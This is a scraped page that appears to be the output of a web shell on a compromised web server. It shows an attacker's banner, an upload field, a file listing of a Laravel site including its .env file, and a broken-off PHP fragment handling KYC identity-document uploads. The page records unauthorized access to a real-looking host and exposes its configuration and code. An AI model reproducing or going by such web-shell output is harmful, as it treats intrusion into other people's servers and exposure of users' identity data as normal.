I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
name] = ($item->required) ? "required" : "";
$min = $item->validation->min ?? 0;
$max = $item->validation->max ?? 0;
if($item->type == "text" || $item->type == "textarea") {
$validation_rules[$item->name] .= "|string|min:". $min ."|max:". $max;
}elseif($item->type == "file") {
$max = $max * 1024;
$mimes = $item->validation->mimes ?? [];
$mimes = implode(",",$mimes);
$validation_rules[$item->name] .= "|file|mimes:". $mimes ."|max:".$max;
}
}
return $validation_rules;
}
public function placeValueWithFields($kyc_fields,$form_data) {
$fields_with_value = [];
foreach($kyc_fields ?? [] as $key => $item) {
if($item->type == "text" || $item->type == "textarea") {
$vlaue = $form_data[$item->name] ?? "";
}elseif($item->type == "file") {
$form_file = $form_data[$item->name] ?? "";
if(is_file($form_file)) {
$get_file_link = upload_file($form_file,"junk-files");
$upload_file = upload_files_from_path_dynamic([$get_file_link['dev_path']],"kyc-files");
delete_file($get_file_link['dev_path']);
$vlaue = $upload_file;
}
}elseif($item->type == "select") {
$vlaue = $form_data[$item->name] ?? "";
}
if(isset($form_data[$item->name])) {
$fields_with_value[$key] = json_decode(json_encode($item),true);
$fields_with_value[$key]['value'] = $vlaue;
}
}
// $this->removeUserKycFiles();
return $fields_with_value;
}
public function generatedFieldsFilesDelete($kyc_fields_with_value) {
$files_link = [];
$files_path = get_files_path("kyc-files");
foreach($kyc_fields_with_value as $item) {
if($item['type'] == "file") {
$link = $files_path . "/" . $item['value'] ?? "";
array_push($files_link,$link);
}
}
delete_files($files_link);
}
public function removeUserKycFiles() {
$user_kyc = auth()->guard(get_auth_guard())->user()->kyc ?? null;
if($user_kyc) {
if($user_kyc->data) {
foreach($user_kyc->data ?? [] as $item) {
if($item->type == "file") {
$file_name = $item->value ?? "";
$file_path = get_files_path("kyc-files");
if(!empty($file_name)) {
$file_link = $file_path . "/" . $file_name;
delete_file($file_link);
}
}
}
}
}
}
}